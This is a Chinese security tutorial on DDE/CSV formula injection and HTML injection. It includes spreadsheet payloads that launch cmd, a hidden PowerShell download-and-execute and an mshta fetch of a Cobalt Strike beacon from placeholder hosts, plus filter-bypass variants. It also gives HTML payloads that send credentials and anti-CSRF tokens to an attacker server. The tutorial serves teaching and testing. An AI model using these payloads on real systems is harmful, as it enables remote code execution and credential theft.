花式注入那点事儿(中) | 技术精选0117
2021-12-23 15:31:15 Author: www.secpulse.com(查看原文) 阅读量:18 收藏

在上一篇的《花式注入那点事儿(上)》中,我们介绍了表达式注入。这篇文章中,我们来重点聊聊DDE注入和HTML注入。
闲言少叙,直接进入正题。
1
DDE注入

1.DDE描述

在上一文的前言中,曾经说起过,有的注入是从服务端向客户端发起的攻击。可能许多人不了解,除了红队,其他的正常业务怎么可能会向自己的用户发起注入攻击呢?
实则不然。在有些特定场景下,可能引起服务端向客户端发起攻击。
例如当恶意攻击者在网站留言处发表payload,此时一般用户更多的是想到存储型XSSpayload,但是当该服务中的数据需要后台管理员或者用户下载CSV文件以备查看,这个时候一个完整的DDE攻击流程就完成了。
用户或者管理员打开包含我们payload的CSV文件时,我们的payload可能会在受害者不经意间执行。
说到这儿,可能会有人问,什么是DDE?
DDE(DynamicDataExchange),又称为动态资料交换,是一种Windows操作系统中运作进程间通信的技术。
它可以用来协调操作系统的应用程序之间的数据交换及命令调用,这有点类似于RPC,其中DDE可以允许Windows应用程序共享数据,例如Excel中的单元格会在当加载的应用程序中的数值发生改变时,自动做出更新。
当然,这是维基百科中的解释。听到这儿,你可能会想,这个DDE注入是不是就是Excel利用的一种方式呢?
没错,但是DDE可以用来包括但不限于Excel,还有可能是Word、Rtf、Outlook等,不过,我们经常使用Excel来实现我们的目的。
说到这儿,就不得不说一下CSV,一种用于存储结构化数据的简单数据格式,经常被用来当做Excel中的数据源。
在HackOne中,有一种DDE注入的典型利用方式。该攻击者通过将内容可控的点导出CSV或者XLS表格,利用DDE进行攻击。
详情可参考:
https://hackerone.com/reports/282628
攻击者先发表一个推特:
将其发表的数据导出:
打开我们导出的推特数据:
可以看到"1+52"的最终结果已经被执行了,且输出为53。
这时就可以证明此网站存在DDE注入(有的人称之为CSV注入),看到这熟悉Excel的人可能就会明白,"=1+52"不就是Excel的表达式嘛!
没错,除了"="号之外,还有加号"+"、减号"-"、"@"也会被解释为公式,只不过当前缀为"@"时,Excel会搜索内部函数(SUM之类),并将其解析为表达式。
需要注意的是,当前缀为"=、+、-"之一时,其余部分会被当作表达式。

2.一般操作流程

一般而言,DDE表达式采用的形式是这样的:
command|’arguments’!cell
其中command的名称不能超过8个字节,经常用的可能就是cmd,只要它是少于8个字节的可执行文件名就可以。
arguments一般为我们所需要用cmd打开的应用程序或者外部链接等,cell为单元格,如A0,A1等,当我们执行以下payload时可以看到:
=1+cmd|’/Ccalc’!A0
注意此时需要将DDE打开,在选项中的信任中心中找到信任中心设置:
找到外部内容中的"启用动态数据交换服务器启动",将此选项勾选:
现在便可启动DDE了。
随便找到一个单元格,将其输入以上payload:
或者可能是这样:
远程数据选择访问选择是:
这样,便可成功打开我们的计算器了。
输入我们的攻击powershellpayload远程下载执行:
=cmd|'/cpowershell.exe -w hidden $e=(New-ObjectSystem.Net.WebClient).DownloadString("http://xxxx/xxxx.ps1");

powershell-e $e'
!A1
或者通过执行:
mshtahttp://xxx.xxx.xxx.xxx:80/download/exploit.ext
直接反弹CS马。
下面介绍一部分绕过技巧:
利用"+、-、="的替换进行绕过,如等号被过滤,可以使用:
-3+1+cmd| ’/C calc’!A0
利用"%0A、;"、换行符或者分割符进行绕过,比如:
%0A-3+1+cmd| ’/C calc’!A1

;=-3+1+cmd| ’/C calc’!A0
利用"@"绕过:
@SUM(cmd | ’/C calc’!A1)

3.参考链接

https://hackerone.com/reports/282628 
https://www.anquanke.com/post/id/161041 
https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation 
https://ginove.github.io/2018/07/24/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E7%94%B5%E5%AD%90%E8%A1%A8%E6%A0%BC%E6%B3%A8%E5%85%A5%20-%20 %E4%BB%8E%E5%85%AC%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%88%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/#%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F
https://www.cnblogs.com/Eleven-Liu/p/12397857.html
2
HTML注入
说到HTML注入,可能会有人不太熟悉,但是XSS相信大家都熟悉。而HTML注入和XSS两者的攻击手法一样,也分为反射型和存储型。
那么什么是HTML注入呢?由XSS的定义可以推断出,HTML注入是该站点允许用户向Web页面注入HTML,而且没有合理的处理用户输入。

1.前言

HTML注入和XSS两者并没有什么本质上的区别,都是通过改变前端代码来实现攻击的目的,而HTML注入常被用来一些无法执行JS的场景。
HTML注入一般出现在网站页面的表单输入处,在习惯上我们将其分为两类:存储型HTML注入、反射型HTML注入。
存储型和XSS的存储型是一样的,将恶意的HTML代码储存在Web服务器中,当用户调用时会执行,这个一般会出现在论坛中。
反射型不会储存在服务器中,当攻击者输入时,网站会立即响应,从而触发反射型,这种一般出现在有数据输入的字段。

2.挖掘

其实挖掘方法有很多,只需要我们在提交表单的时候输入payload即可,看能否更改页面的可见内容。如:
<h1>HTML注入</h1>
下面用bwapp中的HTML注入来演示:
输入payload:
<h1>Hello</h1>

<h2>
World</h2>
可见,页面可以被我们修改。
接下来就可以执行我们想要的攻击,比如在表单上输入这样的一段诱惑性的的HTML,如:

image.png

再增加一段form表单,将输入的用户名和密码传到我们的VPS上:
<formaction="url" method="get"></form>
也可以像博客中所示
https://b1ue.cn/archives/247.html
触发点为某邮件的客户端,而里面有一段超链接恰好是可控的,当修改了这个超链接后,每个用户在注册时收到的邮件里包含的那个超链接是被攻击者修改过的。
如下代码所示:有三个可控点:

image.png

该作者在可控点3处通过构造:
</a><ax='>点击此链接激活账号</a><!--'href='http://xxxx.com/?
通过创建一个超链接,把邮件里的敏感信息(用户名、密码)携带进来,当用户点击带有诱导性的超链接时,就会把他的账号密码发送到作者的服务器。
除了这些手法以外,还可以通过HTML注入来窃取反CSRF令牌,如:
<imgsrc='http://xxxx.com/exploit.php?
缺少的单引号会导致"?"后面的内容成为url的一部分,直至找到另一个单引号为止。如果有效的代码使用双引号代替,则隐藏的输入将发送到攻击者控制的exploit.php脚本并进行记录:
<imgsrc='http://xxxx.com/exploit.php? 
< inputtype="hidden"name=“anti_csrf” value=“xxxxxxxxxxxxx”>

3.参考链接

https://b1ue.cn/archives/247.html 
https://netsecurity.51cto.com/art/202008/623580.htm?mobile 
http://vlambda.com/wz_wvgOuc4AtW.html 
https://juejin.cn/post/6844903781289705479
3
结语
html注入的姿势还有很多,比如钓鱼、通过OOB实现信息泄露,和请求走私一样实现数据外带。只要页面可控,那么就有可能实现某些攻击,这就需要师傅们的各种花样操作了。
之后,我们再来聊聊LDAP注入那些事儿。不见不散!

文章来源: https://www.secpulse.com/archives/171952.html
如有侵权请联系:admin#unsafe.sh